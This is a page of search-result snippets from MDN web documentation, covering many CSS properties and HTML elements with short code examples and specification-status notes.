te, 75% black */ cross-fade( url(white.png) 50%, url(black.png) 50%); /* 50% white, 50% black */ cross-fade( url(white.png) 75%, url(black.png) 25%); /* 75% white, 25% black */ cross-fade( url(white.png) 100%, url(black.png) 0%); /* fully white */ cross-fade( url(green.png) 75%, url(red.png) 75%); /* both green and red at 75% */ if any percentages are omitted, all the specified percentages are summed together and subtracted from 100%.
...fade(url(white.png), url(black.png), 0%); /* fully black */ cross-fade(url(white.png), url(black.png), 25%); /* 25% white, 75% black */ cross-fade(url(white.png), url(black.png), 50%); /* 50% white, 50% black */ cross-fade(url(white.png), url(black.png), 75%); /* 75% white, 25% black */ cross-fade(url(white.png), url(black.png), 100%); /* fully white */ in the implemented syntax, the two comma-separated images are declared first, followed by a comma and required percent value.
... omitting the comma or percent invalidates the value.
...webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification status comment css images module level 4the definition of 'cross-fade()' in that specification.
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
> = <length> | <percentage> examples setting font sizes css .small { font-size: xx-small; } .larger { font-size: larger; } .point { font-size: 24pt; } .percent { font-size: 200%; } html <h1 class="small">small h1</h1> <h1 class="larger">larger h1</h1> <h1 class="point">24 point h1</h1> <h1 class="percent">200% h1</h1> result specifications specification status comment css fonts module level 4the definition of 'font-size' in that specification.
... candidate recommendation no change.
... recommendation no change.
... recommendation initial definition.
font-style - CSS: Cascading Style Sheets
examples font styles <p class="normal">this paragraph is normal.</p> <p class="italic">this paragraph is italic.</p> <p class="oblique">this paragraph is oblique.</p> .normal { font-style: normal; } .italic { font-style: italic; } .oblique { font-style: oblique; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
... candidate recommendation no change css level 2 (revision 1)the definition of 'font-style' in that specification.
... recommendation no change css level 1the definition of 'font-style' in that specification.
... recommendation initial definition ...
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
users may correct the inappropriate behavior of sites that don't follow this recommendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the previous state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value.
...in the past, this was commonly used on fields that entered data into databases which didn't support extended character sets.
... specifications specification status comment css basic user interface module level 3the definition of 'ime-mode' in that specification.
... recommendation initial definition.
inherit - CSS: Cascading Style Sheets
WebCSSinherit
specifications specification status comment css cascading and inheritance level 4the definition of 'inherit' in that specification.
... candidate recommendation no changes from level 3.
... candidate recommendation no significant change from css level 2 (revision 1).
... recommendation initial definition.
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
specifications specification status comment css values and units module level 4the definition of '<integer>' in that specification.
... candidate recommendation no significant change.
... recommendation explicit definition.
... recommendation implicit definition.
letter-spacing - CSS: Cascading Style Sheets
m-wide">letter spacing</p> <p class="em-wider">letter spacing</p> <p class="em-tight">letter spacing</p> <p class="px-wide">letter spacing</p> css .normal { letter-spacing: normal; } .em-wide { letter-spacing: 0.4em; } .em-wider { letter-spacing: 1em; } .em-tight { letter-spacing: -0.05em; } .px-wide { letter-spacing: 6px; } result specifications specification status comment css text module level 3the definition of 'letter-spacing' in that specification.
... recommendation no change.
... recommendation initial svg definition.
... recommendation initial definition.
line-height - CSS: Cascading Style Sheets
it's commonly used to set the distance between lines of text.
...ght results from the red div's font-size (15px × 1.1) = 16.5px, probably not what you want --> css .green { line-height: 1.1; border: solid limegreen; } .red { line-height: 1.1em; border: solid red; } h1 { font-size: 30px; } .box { width: 18em; display: inline-block; vertical-align: top; font-size: 15px; } result specifications specification status comment css level 2 (revision 1)the definition of 'line-height' in that specification.
... recommendation no change.
... recommendation initial definition.
mask-repeat - CSS: Cascading Style Sheets
syntax one or more <repeat-style> values, separated by commas.
...nd</option> <option value="no-repeat">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat style, from first specified to last.
... specifications specification status comment css masking module level 1the definition of 'mask-repeat' in that specification.
... candidate recommendation initial definition ...
mask - CSS: Cascading Style Sheets
WebCSSmask
it is therefore recommended to use the mask shorthand rather than other shorthands or the individual properties to override any mask settings earlier in the cascade.
...ngle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples masking an image .target { mask: url(#c1) luminance; } .anothertarget { mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude; } specifications specification status comment css masking module level 1the definition of 'mask' in that specification.
... candidate recommendation extends its usage to html elements.
... recommendation initial definition.
<number> - CSS: Cascading Style Sheets
WebCSSnumber
specifications specification status comment css values and units module level 4the definition of '<number>' in that specification.
... candidate recommendation no significant change.
... recommendation explicit definition.
... recommendation implicit definition.
outline-color - CSS: Cascading Style Sheets
accessibility concerns custom focus styles commonly involve making adjustments to the outline property.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples setting a solid blue outline html <p>my outline is blue, as you can see.</p> css p { outline: 2px solid; /* set the outline width and style */ outline-color: #0000ff; /* make the outline blue */ margin: 5px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-color' in that specification.
... recommendation no change.
... recommendation initial definition.
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
the content can be scrolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container.
...the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling.
... specifications specification status comment css overflow module level 3the definition of 'overflow' in that specification.
... recommendation initial definition.
<percentage> - CSS: Cascading Style Sheets
gin-left:60%; background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span></p> <p><span style="font-size:200%;">200% (36px)</span></p> </div> the above html will output: specifications specification status comment css values and units module level 4the definition of '<percentage>' in that specification.
... candidate recommendation no significant change from css level 2 (revision 1).
... recommendation no change from css level 1.
... recommendation initial definition.
position - CSS: Cascading Style Sheets
WebCSSposition
a common use for sticky positioning is for the headings in an alphabetized list.
... html <dl> <div> <dt>a</dt> <dd>andrew w.k.</dd> <dd>apparat</dd> <dd>arcade fire</dd> <dd>at the drive-in</dd> <dd>aziz ansari</dd> </div> <div> <dt>c</dt> <dd>chromeo</dd> <dd>common</dd> <dd>converge</dd> <dd>crystal castles</dd> <dd>cursive</dd> </div> <div> <dt>e</dt> <dd>explosions in the sky</dd> </div> <div> <dt>t</dt> <dd>ted leo &amp; the pharmacists</dd> <dd>t-pain</dd> <dd>thrice</dd> <dd>tv on the radio</dd> <dd>two gallants</dd> </div> </dl> css * { box-sizing: border-box; } dl > div { background: #ff...
...; color: #fff; font: bold 18px/21px helvetica, arial, sans-serif; margin: 0; padding: 2px 0 0 12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px; white-space: nowrap; } dd + dd { border-top: 1px solid #ccc; } result specifications specification status comment css level 2 (revision 1)the definition of 'position' in that specification.
... recommendation css positioned layout module level 3the definition of 'position' in that specification.
<shape> - CSS: Cascading Style Sheets
WebCSSshape
example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification.
... recommendation defines with the clip property.
...t 1edge full support 12firefox full support 1ie full support 5.5notes full support 5.5notes notes for internet explorer versions 5.5 through 7, the rect() function uses spaces (instead of commas) to separate parameters.
... for internet explorer 8 and later versions, only the standard comma-separated syntax is supported.opera full support 9.5safari full support 1.3webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportdeprecated.
<string> - CSS: Cascading Style Sheets
WebCSSstring
escaped single quote.' 'this string also has \27 an escaped single quote.' "this is a string with \\ an escaped backslash." /* new line in a string */ "this string has a \aline break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status comment css values and units module level 3the definition of '<string>' in that specification.
... candidate recommendation no significant change from css level 2 (revision 1).
... recommendation explicit definition; allows 6-digit unicode escaped characters.
... recommendation implicit definition; allows 4-digit unicode escaped characters.
text-decoration - CSS: Cascading Style Sheets
ion on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft adds text-decoration-thickness; note that this isn't yet officially part of the shorthand — this is as yet unspecified.
... candidate recommendation transformed into a shorthand property.
... recommendation no significant changes.
... recommendation initial definition.
text-shadow - CSS: Cascading Style Sheets
it accepts a comma-separated list of shadows to be applied to the text and any of its decorations.
... | offset-y | blur-radius */ text-shadow: #fc0 1px 0 10px; /* offset-x | offset-y | color */ text-shadow: 5px 5px #558abb; /* color | offset-x | offset-y */ text-shadow: white 2px 5px; /* offset-x | offset-y /* use defaults for color and blur-radius */ text-shadow: 5px 10px; /* global values */ text-shadow: inherit; text-shadow: initial; text-shadow: unset; this property is specified as a comma-separated list of shadows.
...e-text-with-blue-shadow { text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue; color: white; font: 1.5em georgia, serif; } <p class="white-text-with-blue-shadow">sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore.</p> specifications specification status comment css text decoration module level 3the definition of 'text-shadow' in that specification.
... candidate recommendation the css property text-shadow was improperly defined in css2 and dropped in css2 (level 1).
<time> - CSS: Cascading Style Sheets
WebCSStime
examples valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not recommended.
... specifications specification status comment css values and units module level 4the definition of '<time>' in that specification.
... candidate recommendation normative definition of s and ms.
... recommendation informal definition of s and ms.
url() - CSS: Cascading Style Sheets
WebCSSurl()
t: 100vh; } .background { background: yellow; background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications specification status comment css values and units module level 4the definition of 'url()' in that specification.
... candidate recommendation no significant change from css level 2 (revision 1).
... recommendation no significant change from css level 1.
... recommendation initial definition.
<url> - CSS: Cascading Style Sheets
WebCSSurl
a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner { background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status comment css values and units module level 4the definition of '<url>' in that specification.
... candidate recommendation no significant change from css level 2 (revision 1).
... recommendation no significant change from css level 1.
... recommendation initial definition.
var() - CSS: Cascading Style Sheets
WebCSSvar
) note: the syntax of the fallback, like that of custom properties, allows commas.
... for example, var(--foo, red, blue) defines a fallback of red, blue; that is, anything between the first comma and the end of the function is considered a fallback value.
...var(--main-bg-color); } /* fallback */ /* in the component’s style: */ .component .header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { color: var(--text-color, black); } /* in the larger application’s style: */ .component { --text-color: #080; } specifications specification status comment css custom properties for cascading variables module level 1the definition of 'var()' in that specification.
... candidate recommendation initial definition ...
widows - CSS: Cascading Style Sheets
WebCSSwidows
it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
... candidate recommendation extends widows to apply to any type of fragment, including pages, regions, or columns.
... working draft recommendations to consider widows in relation to columns.
... recommendation initial definition.
width - CSS: Cascading Style Sheets
WebCSSwidth
esrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in em</div> percentage .percent { width: 20...
...%; background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen { background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla community produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification status comment css box sizing module level 4the definition of '...
... recommendation precises on which element it applies to.
... recommendation initial definition.
Getting Started - Developer guides
in a nutshell, it is the use of the xmlhttprequest object to communicate with servers.
...ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page.
...a common pitfall is accessing your site by domain.tld, but attempting to call pages with www.domain.tld.
... in the event of a communication error (such as the server going down), an exception will be thrown in the onreadystatechange method when accessing the response status.
Live streaming web audio and video - Developer guides
live streaming technology is often employed to relay live events such as sports, concerts and more generally tv and radio programmes that are output live.
... http for now, http is by far the most commonly supported protocol used to transfer media on demand or live.
... mp3, aac, ogg vorbis most common audio formats can be streamed using specific server-side technologies.
...e client dynamic streaming over http the state of mpeg-dash deployment look, no plugins: live streaming to the browser using media source extensions and mpeg-dash media source extensions (w3c) icecast shoutcast gstreamer streaming gstreamer pipelines via http streaming media using gstreamer on the web gstreamer and raspberry pi acceptance of media source extensions as w3c candidate recommendation will accelerate adoption of dash.js comparison of streaming media systems mozilla hacks - streaming media on demand with media source extensions ...
HTML5 - Developer guides
WebGuideHTMLHTML5
connectivity: allowing you to communicate with the server in new and innovative ways.
... downloadable html5 guide a quick guide to html5, including the common html tags as well as the new html5 tags.
... webrtc this technology, where rtc stands for real-time communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
... webrtc this technology, where rtc stands for real-time communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
Introduction to Web development - Developer guides
note: the recommended resources on this page are subject to change.
... common css questions — common questions and answers for beginners intermediate css concepts — grouping, pseudo-classes and more.
... eloquent javascript — a comprehensive guide to intermediate and advanced javascript methodologies intermediate a re-introduction to javascript — a recap on the javascript programming language aimed at intermediate-level developers essential javascript design patterns — an introduction to essential javascript design patterns introduction to object-oriented javascript — learn about the javascript object model.
... resources w3c web education community group wiki covers web design, html and html5, css, javascript and accessibility.
HTML attribute: accept - HTML: Hypertext Markup Language
the accept attribute takes as its value a comma-separated list of one or more file types, or unique file type specifiers, describing which file types to allow.
... the accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas.
... acceptable file types can be specified with the accept attribute, which takes a comma-separated list of allowed file extensions or mime types.
... recommendation ...
HTML attribute: required - HTML: Hypertext Markup Language
for this reason, to improve code maintenance, it is recommened to either include the required attribute in every same-named radio button in the group or none.
... specifications specification status comment html living standardthe definition of 'required attribute' in that specification.
... recommendation html 5.1the definition of 'required attribute' in that specification.
... recommendation accessibility concerns provide an indication to users informing them the form control is required.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
grammar considerations in languages with grammatical number (that is, languages where the number of items affects the grammar of a sentence), use the same grammatical number in your title attribute as inside your <abbr> element.
... specifications specification status comment html living standardthe definition of '<abbr>' in that specification.
... recommendation html 4.01 specificationthe definition of '<abbr>' in that specification.
... recommendation ...
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
permitted parents any element that accepts flow content, but always excluding <address> elements (according to the logical principle of symmetry, if <address> tag, as a parent, can not have nested <address> element, then the same <address> content can not have <address> tag as its parent).
... specifications specification status comment html living standardthe definition of '<address>' in that specification.
... recommendation html 4.01 specificationthe definition of '<address>' in that specification.
... recommendation ...
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
in any user agents.) examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html" alt="click to go left"> <area shape="circle" coords="275,75,75" href="right.html" alt="click to go right"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy attribute.
... recommendation html 4.01 specificationthe definition of '<area>' in that specification.
... recommendation ...
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
for example, the comments of a blog post can be <article> elements nested in the <article> representing the blog post.
... </p> </footer> </article> specifications specification status comment html living standardthe definition of '<article>' in that specification.
... recommendation html5the definition of '<article>' in that specification.
... recommendation ...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
in addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information.
... </p> </audio> mdn adding captions and subtitles to html5 video web video text tracks format (webvtt) webaim: captions, transcripts, and audio descriptions mdn understanding wcag, guideline 1.2 explanations understanding success criterion 1.2.1 | w3c understanding wcag 2.0 understanding success criterion 1.2.2 | w3c understanding wcag 2.0 technical summary content categories flow content, phrasing content, embedded content.
... implicit aria role no corresponding role permitted aria roles application dom interface htmlaudioelement specifications specification status comment html living standardthe definition of '<audio>' in that specification.
... recommendation ...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
WebHTMLElementb
usage notes use the <b> for cases like keywords in a summary, product names in a review, or other spans of text whose typical presentation would be boldfaced (but not including any special importance).
...</p> keywords are displayed with the default style of the <b>element, likely in bold.</b> result specifications specification status comment html living standardthe definition of '<b>' in that specification.
... recommendation html 4.01 specificationthe definition of '<b>' in that specification.
... recommendation ...
<br>: The Line Break element - HTML: Hypertext Markup Language
WebHTMLElementbr
technical summary content categories flow content, phrasing content.
... implicit aria role no corresponding role permitted aria roles none, presentation dom interface htmlbrelement specifications specification status comment html living standardthe definition of '<br>' in that specification.
... recommendation html 4.01 specificationthe definition of '<br>' in that specification.
... recommendation ...
<caption>: The Table Caption element - HTML: Hypertext Markup Language
WebHTMLElementcaption
tag omission the end tag can be omitted if the element is not immediately followed by ascii whitespace or a comment.
... specifications specification status comment html living standardthe definition of '<caption>' in that specification.
... recommendation html 4.01 specificationthe definition of '<caption>' in that specification.
... recommendation ...
<cite>: The Citation element - HTML: Hypertext Markup Language
WebHTMLElementcite
e> element, a creative work that might be cited could be, for example, one of the following: a book a research paper an essay a poem a musical score a song a play or film script a film a television show a game a sculpture a painting a theatrical production a play an opera a musical an exhibition a legal case report a computer program a web site a web page a blog post or comment a forum post or comment a tweet a facebook post a written or oral statement and so forth.
... example <p>more information can be found in <cite>[iso-0000]</cite>.</p> the html above outputs: specifications specification status comment html living standardthe definition of '<cite>' in that specification.
... recommendation html 4.01 specificationthe definition of '<cite>' in that specification.
... recommendation ...
<col> - HTML: Hypertext Markup Language
WebHTMLElementcol
the html <col> element defines a column within a table and is used for defining common semantics on all common cells.
... specifications specification status comment html living standardthe definition of '<col>' in that specification.
... recommendation html 4.01 specificationthe definition of '<col>' in that specification.
... recommendation initial definition ...
<colgroup> - HTML: Hypertext Markup Language
WebHTMLElementcolgroup
the end tag may be omitted, if it is not followed by a space or a comment.
... specifications specification status comment html living standardthe definition of '<colgroup>' in that specification.
... recommendation html 4.01 specificationthe definition of '<colgroup>' in that specification.
... recommendation ...
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
WebHTMLElementdatalist
the html <datalist> element contains a set of <option> elements that represent the permissible or recommended options available to choose from within other controls.
... implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements.
...<label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe definition of '<datalist>' in that specification.
... recommendation ...
<dd>: The Description Details element - HTML: Hypertext Markup Language
WebHTMLElementdd
the end tag may be omitted if the <dd> element is immediately followed by another <dd> element or a <dt> element, or if there is no more content in the parent element.
... specifications specification status comment html living standardthe definition of '<dd>' in that specification.
... recommendation html 4.01 specificationthe definition of '<dd>' in that specification.
... recommendation ...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
WebHTMLElementfieldset
<form action="#"> <fieldset disabled> <legend>disabled fieldset</legend> <div> <label for="name">name: </label> <input type="text" id="name" value="chris"> </div> <div> <label for="pwd">archetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> technical summary content categories flow content, sectioning root, listed, form-associated element, palpable content.
... implicit aria role group permitted aria roles radiogroup, presentation, none dom interface htmlfieldsetelement specifications specification status comment html living standardthe definition of '<fieldset>' in that specification.
... recommendation html 4.01 specificationthe definition of '<fieldset>' in that specification.
... recommendation initial definition ...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
txt+= "cookies enabled: " + navigator.cookieenabled + "; "; txt+= "platform: " + navigator.platform + "; "; txt+= "user-agent header: " + navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then programming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><c...
...ite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status comment html living standardthe definition of '<figure>' in that specification.
... recommendation no changes from html 5.0.
... recommendation ...
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
WebHTMLElementhead
the end tag may be omitted if the first thing following the <head> element is not a space character or a comment.
... specifications specification status comment html living standardthe definition of '<head>' in that specification.
... recommendation obsoleted profile html 4.01 specificationthe definition of '<head>' in that specification.
... recommendation ...
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
<input> elements of type button are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).
... value a domstring used as the button's label events click supported common attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label.
... } clearbtn.onclick = function() { ctx.fillstyle = 'rgb(0,0,0)'; ctx.fillrect(0,0,width,height); } function draw() { if(pressed) { ctx.fillstyle = colorpicker.value; ctx.beginpath(); ctx.arc(curx, cury-85, sizepicker.value, degtorad(0), degtorad(360), false); ctx.fill(); } requestanimationframe(draw); } draw(); specifications specification status comments html living standardthe definition of '<input type="button">' in that specification.
... recommendation ...
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
events change and input supported common attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty.
... you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value="42"> additional attributes in addition to the attributes commonly supported by all <input> types, inputs of type number support these attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the maximum value to accept for this input min the minimum value to accept for this input placeholder an example value to display inside the field when it's empty readonly a boolean attribute indicating whether the value is read-only step a stepping interval to use when using up and down arrows ...
...a placeholder is a value most commonly used to provide a hint as to the format the input should take value.
... specifications specification status comment html living standardthe definition of '<input type="number">' in that specification.
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange().
...me" name="name" placeholder="lower case, all one word"> </div> <div> <button>submit</button> </div> </form> you can see how the placeholder is rendered below: the placeholder is typically rendered in a lighter color than the element's foreground color, and automatically vanishes when the user begins to enter text into the field (or whenever the field has a value set programmatically by setting its value attribute.
... specifications specification status comment html living standardthe definition of '<input type="text">' in that specification.
... recommendation initial definition ...
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
value a domstring representing a week and year, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
... you can also get and set the value in javascript using the input element's value property, for example: var weekcontrol = document.queryselector('input[type="week"]'); weekcontrol.value = '2017-w45'; additional attributes in addition to the attributes common to <input> elements, week inputs offer the following attributes: attribute description max the latest year and week to accept as valid input min the earliest year and week to accept as valid input readonly a boolean which, if present, indicates that the user cannot edit the field's contents step the stepping interval (the distance...
...to detect whether the browser supports <input type="week">, we create a new <input> element, try setting its type to week, then immediately check what its type is set to.
... specifications specification status comments html living standardthe definition of '<input type="week">' in that specification.
<li> - HTML: Hypertext Markup Language
WebHTMLElementli
tag omission the end tag can be omitted if the list item is immediately followed by another <li> element, or if there is no more content in its parent element.
...rdered list <ol> <li>first item</li> <li>second item</li> <li>third item</li> </ol> ordered list with a custom value <ol type="i"> <li value="3">third item</li> <li>fourth item</li> <li>fifth item</li> </ol> unordered list <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> specifications specification status comment html living standardthe definition of '<li>' in that specification.
... recommendation html 4.01 specificationthe definition of '<li>' in that specification.
... recommendation the type attribute has been deprecated.
<main> - HTML: Hypertext Markup Language
WebHTMLElementmain
example <!-- other content --> <main> <h1>apples</h1> <p>the apple is the pomaceous fruit of the apple tree.</p> <article> <h2>red delicious</h2> <p>these bright red apples are the most common found in many supermarkets.</p> <p>...
... specifications specification status comment html living standardthe definition of '<main>' in that specification.
... recommendation no change from html5.
... recommendation initial definition.
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
WebHTMLElementnoframes
although most commonly-used browsers support frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers.
... <frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that specification.
... recommendation html 4.01 specificationthe definition of '<noframes>' in that specification.
... recommendation ...
<optgroup> - HTML: Hypertext Markup Language
WebHTMLElementoptgroup
the end tag is optional if this element is immediately followed by another <optgroup> element, or if the parent element has no more content.
...group label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status comment html living standardthe definition of '<optgroup>' in that specification.
... recommendation html 4.01 specificationthe definition of '<optgroup>' in that specification.
... recommendation ...
<option>: The HTML Option element - HTML: Hypertext Markup Language
WebHTMLElementoption
the end tag is optional if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content.
... specifications specification status comment html living standardthe definition of '<option>' in that specification.
... recommendation html 4.01 specificationthe definition of '<option>' in that specification.
... recommendation initial definition ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
the end tag may be omitted if the <p> element is immediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, <menu>, <nav>, <ol>, <pre>, <section>, <table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a> element.
... if extra space is desired, use css properties like margin to create the effect: p { margin-bottom: 2em; // increase white space after a paragraph } specifications specification status comment html living standardthe definition of '<p>' in that specification.
... recommendation align attribute is obsolete html 4.01 specificationthe definition of '<p>' in that specification.
... recommendation initial definition ...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
WebHTMLElementrb
tag omission the end tag can be omitted if the element is immediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more content in the parent element.
... even though <rb> is not an empty element, it is common to just include the opening tag of each element in the source code, so that the ruby markup is less complex and easier to read.
... specifications specification status comment html5the definition of '<rb>' in that specification.
... recommendation ...
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
WebHTMLElementrp
permitted content text tag omission the end tag can be omitted if the element is immediately followed by an <rt> or another <rp> element, or if there is no more content in the parent element.
...<rp> must be positioned immediately before or after an <rt> element.
... specifications specification status comment html living standardthe definition of '<rp>' in that specification.
... recommendation ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
note also the use of <kbd> to represent the command the user entered at the prompt in the sample text.
... result the resulting output is this: specifications specification status comment html living standardthe definition of '<samp>' in that specification.
... recommendation html 4.01 specificationthe definition of '<samp>' in that specification.
... recommendation ...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
it is commonly used to offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.
...each source size consists of a comma-separated list of media condition-length pairs.
